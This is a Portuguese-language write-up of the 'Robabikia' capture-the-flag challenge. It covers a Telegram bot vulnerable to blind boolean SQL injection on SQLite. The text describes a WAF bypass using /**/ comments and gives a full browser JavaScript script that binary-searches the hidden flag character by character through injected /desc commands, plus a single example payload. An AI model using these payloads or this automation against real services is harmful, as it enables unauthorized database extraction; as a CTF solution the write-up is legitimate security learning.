Esta é uma resolução do desafio Robabikia.
A descrição do desafio disponibilizava um bot no Telegram: @crewctf_Robabikia_bot
Abrindo o chat do bot, tem-se a seguinte mensagem com os comandos do bot:
O comando /items listava todos os itens:
O comando /price apenas retornava os preços dos itens. E o /desc dava um breve descrição do item:
Enquanto o comando /value estava desativado:
Testando o comando /desc descobri um possível sql injection:
Para extrair as informações corretas era necessário estar atento as mensagens de resposta do bot: a query enviada era true quando o bot retornava "Old TV to your watch your favorite series" (para o item 3) e false quando o bot retornava "Item not found".
Após algumas tentativas descobri que era um SQLite e que tinha um WAF por trás da aplicação. Então um membro do meu time, o valent1ne, descobriu que usando /**/ dava o bypass necessário.
Logo, tentamos extrair o número de tabelas e o tamanho do nome delas:
Extraindo o nome da tabela:
O nome da tabela é items :)
Vasculhando as colunas da tabela, verifiquei que existia uma coluna chamada value, que por sua vez é o mesmo nome do comando desabilitado. E foi aí que eu estranhei. Seguindo a extração de dados dessa coluna, encontrei uma row com as iniciais iguais ao do formato da flag "crew{":
E fui descobrir o tamanho do conteúdo dessa linha:
A flag tinha 47 caracteres para a minha tristeza.
Fazer a extração da flag manualmente era inviável, então eu optei por escrever algo para automatizar o processo. Lembrei de um script em Javascript que o Foucan tinha enviado, que spammava o Script do filme Shrek no Whatsapp e usei ele como base para escrever o código de pegar a flag.
Ao fazer o código, tive que trocar para a versão do Telegram Web para a versão K, porque por algum motivo ela travava menos.
Fiz o código, mas não era rápido o suficiente, além de extrapolar o rate limit do Telegram em alguns momentos. Por fim, resolvi implementar uma espécie de pesquisa binária lendo as mensagens de resposta do bot.
Para ler tais mensagens pensei em usar o timestamp que vinha nas tags html, porém o valent1ne me deu uma forma melhor:
document.getElementsByClassName("message")
Então, o código ficou assim:
const keyboardEvent = new KeyboardEvent('keydown', { code: 'Enter', key: 'Enter', charCode: 13, keyCode: 13, view: window, bubbles: true }); async function sendPayload(){ main = document.querySelector(".chat-input-container"); textarea = document.querySelector(`div[contenteditable="true"]`); flag = "crew{"; flagArray = []; for(let j = 6; j <= 47; j++){ i = 21; end = 127; while(i <= end){ divisao = Math.floor((end - i)/2); mid = i + divisao textarea.textContent = "/desc 3'/* */and/* */(SELECT/* */unicode(substr(value," + j + ",1))/* */FROM/* */items/* */limit/* */5/* */offset/* */4)=" + mid +" -- -"; textarea.dispatchEvent(keyboardEvent); await new Promise(resolve => setTimeout(resolve, 1000)); messagesNumber = document.getElementsByClassName("message").length; messageText = document.getElementsByClassName("message")[messagesNumber-1].innerText; if(messageText.includes("Old")){ flagArray.push(mid); flag += String.fromCharCode(mid); break; } else { await new Promise(resolve => setTimeout(resolve, 1000)); textarea.textContent = "/desc 3'/* */and/* */(SELECT/* */unicode(substr(value," + j + ",1))/* */FROM/* */items/* */limit/* */5/* */offset/* */4)<" + mid +" -- -"; textarea.dispatchEvent(keyboardEvent); await new Promise(resolve => setTimeout(resolve, 1000)); messagesNumber = document.getElementsByClassName("message").length; messageText = document.getElementsByClassName("message")[messagesNumber-1].innerText; if(messageText.includes("Old")){ end = mid-1; } else { await new Promise(resolve => setTimeout(resolve, 1000)); textarea.textContent = "/desc 3'/* */and/* */(SELECT/* */unicode(substr(value," + j + ",1))/* */FROM/* */items/* */limit/* */5/* */offset/* */4)>" + mid +" -- -"; textarea.dispatchEvent(keyboardEvent); await new Promise(resolve => setTimeout(resolve, 1000)); messagesNumber = document.getElementsByClassName("message").length; messageText = document.getElementsByClassName("message")[messagesNumber-1].innerText; if(messageText.includes("Old")){ i = mid+1; } } } await new Promise(resolve => setTimeout(resolve, 5000)); } console.log(flagArray); console.log(flag); } }
Obs: o código pode ser um pouco otimizado removendo o envio da última query - Código "otimizado".
A função keyboardEvent é apenas para simular a utilização da tecla Enter.
Optei por usar a função unicode do SQLite, porque achei mais fácil trabalhar diretamente com números.
O script acima tem esse flow:
O script acha o meio (mid) dos valores iniciais (i) e finais (end), e verifica se o código unicode daquele caracter da flag é igual ao mid. Se for, adiciona o caracter na variável flag. Caso contrário, o script verifica se o código unicode é menor que o mid, se for, o final (end) se torna mid-1. Caso contrário, o início (i) se torna mid+1.
Obs: adicionei alguns setTimeout() para dar tempo de o bot responder e evitar tomar block por causa do rate limit.
Quando terminei o código faltava menos de 40 minutos para o fim do CTF e acabou que não consegui pontuar a tempo, mas consegui obter flag:
Obs: durante a execução do programa, o browser travou e acabou não salvando o caracter da posição 32 da flag, mas utilizando essa query descobrimos que o caracter correto é 1:
/desc 3'/* */and/* */(SELECT/* */unicode(substr(value,32,1))/* */FROM/* */items/* */limit/* */5/* */offset/* */4)=49 -- -
Flag:
crew{U53_fa57_WAY-1kJ5QL_1nj3C710N_1N_t3l3_B0t}
PayloadsAllTheThings/SQLite Injection.md